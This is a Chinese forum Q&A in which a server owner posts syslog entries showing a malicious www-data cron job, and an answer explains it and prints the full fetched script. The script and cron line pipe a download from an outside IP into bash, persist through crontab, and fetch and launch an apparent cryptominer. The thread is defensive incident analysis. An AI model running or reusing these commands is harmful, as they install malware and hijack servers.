我的服务器肯定被入侵了。现在我想找到黑客进入服务器的位置。在受到攻击之前,我可以在系统日志中看到:
May 13 01:28:23 eee crontab[10680]: (www-data) DELETE (www-data)
May 13 01:28:23 eee crontab[10681]: (www-data) REPLACE (www-data)
May 13 01:29:01 eee cron[955]: (www-data) RELOAD (crontabs/www-data)
May 13 01:29:01 eee CRON[10697]: (www-data) CMD (curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s)
它可以添加 cronjob 并调用一些图像文件。我在哪里寻找线索?谢谢。
答案1
仔细看看 curl cronjob。
它执行一个bash命令,该bash脚本的名称是logo11.jpg。
curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s
这只是个很低级的把戏,并不复杂。如果你把命令换个顺序下载文件,命令看起来会像这样:
请小心,不要下载文件并执行。这只是信息
bash -s logo11.jpg
所以不要被以 .jpg 结尾的文件所欺骗。它并不是 jpg,它只是一个带有以下命令的纯文本文件。
一旦它进入你的 cron,bash 将简单地执行这个“文本”文件,它实际上是一个小的 bash 脚本。很简单,对吧?
#!/bin/sh
pkill -f suppoie
pkill -f vlqd
ps aux | grep -vw apache | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w syslogs |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/sysd http://136.144.175.206:4477/2/sysd
curl -o /var/tmp/apache.cf http://136.144.175.206:4477/2/null.cf
chmod 777 /var/tmp/sysd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sysd -c apache.cf -t `echo $cores` >/dev/null &
fi
sleep 3
echo "running....."
仅供参考 - 我给 ISP 发了一封电子邮件,要求他们查看一下,IP 仍然有效,文件仍可下载。这是值得做的,这就是我写这篇文章的原因。几行字可以帮助管理员同事。